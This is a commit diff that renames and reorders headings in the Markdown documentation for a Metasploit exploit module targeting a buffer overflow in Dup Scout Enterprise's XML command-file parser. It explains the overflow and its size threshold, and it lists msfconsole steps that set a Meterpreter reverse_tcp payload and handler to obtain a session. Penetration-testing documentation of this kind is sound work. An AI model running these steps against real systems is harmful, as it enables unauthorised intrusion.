Fixed Headings

Author: jrobles-r7

documentation/modules/exploit/windows/fileformat/dupscout_xml.md

@@ -1,24 +1,8 @@
-## Overview
+## Description
 
 This module exploits a buffer overflow in libpal.dll that is used by [Dup Scout Enterprise v10.4.16](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). The buffer overflow occurs during a call to the SCA_XmlParser::GetToken function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The SCA_XmlParser::GetToken function is passed a heap pointer as an argument, which was created by the SCA_XmlParser::LoadXmlFile function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the SCA_XmlParser::ParseXmlElement function. While parsing the name attribute, the SCA_XmlParser::GetToken function copies from the heap buffer to the stack buffer until a single quote (to match name=', or a double quote to match name=") is found or until it finishes reading from the allocated heap buffer.
 
-## Verification Steps
-
-- [ ] Install Dup Scout Enterprise on target system
-- [ ] `./msfconsole`
-- [ ] `use exploit/windows/fileformat/dupscout_xml`
-- [ ] `set payload windows/meterpreter/reverse_tcp`
-- [ ] `set lhost <lhost>`
-- [ ] `run`
-- [ ] `use exploit/multi/handler`
-- [ ] `set payload windows/meterpreter/reverse_tcp`
-- [ ] `set lhost <lhost>`
-- [ ] `run`
-- [ ] From the DupScout Enterprise menu select Command -> Import Command
-- [ ] Select file generated by metasploit
-- [ ] Get a session
-
-## Exploiting the Vulnerability
+## Vulnerable Application
 
 The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes.
 
@@ -41,9 +25,26 @@ buf << payload           # Location that is jumped to
 
 Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that after the user-supplied Command file has been processed.
 
-## Example Execution
+## Verification Steps
+
+- [ ] Install Dup Scout Enterprise on target system
+- [ ] `./msfconsole`
+- [ ] `use exploit/windows/fileformat/dupscout_xml`
+- [ ] `set payload windows/meterpreter/reverse_tcp`
+- [ ] `set lhost <lhost>`
+- [ ] `run`
+- [ ] `use exploit/multi/handler`
+- [ ] `set payload windows/meterpreter/reverse_tcp`
+- [ ] `set lhost <lhost>`
+- [ ] `run`
+- [ ] From the DupScout Enterprise menu select Command -> Import Command
+- [ ] Select file generated by metasploit
+- [ ] Get a session
+
+
+## Scenarios
 
-This exploit was tested on Windows 7 SP1 x64.
+### Dup Scout Enterprise v10.4.16 Windows 7 SP1 x64.
 
 ```
 msf5 > use exploit/windows/fileformat/dupscout_xml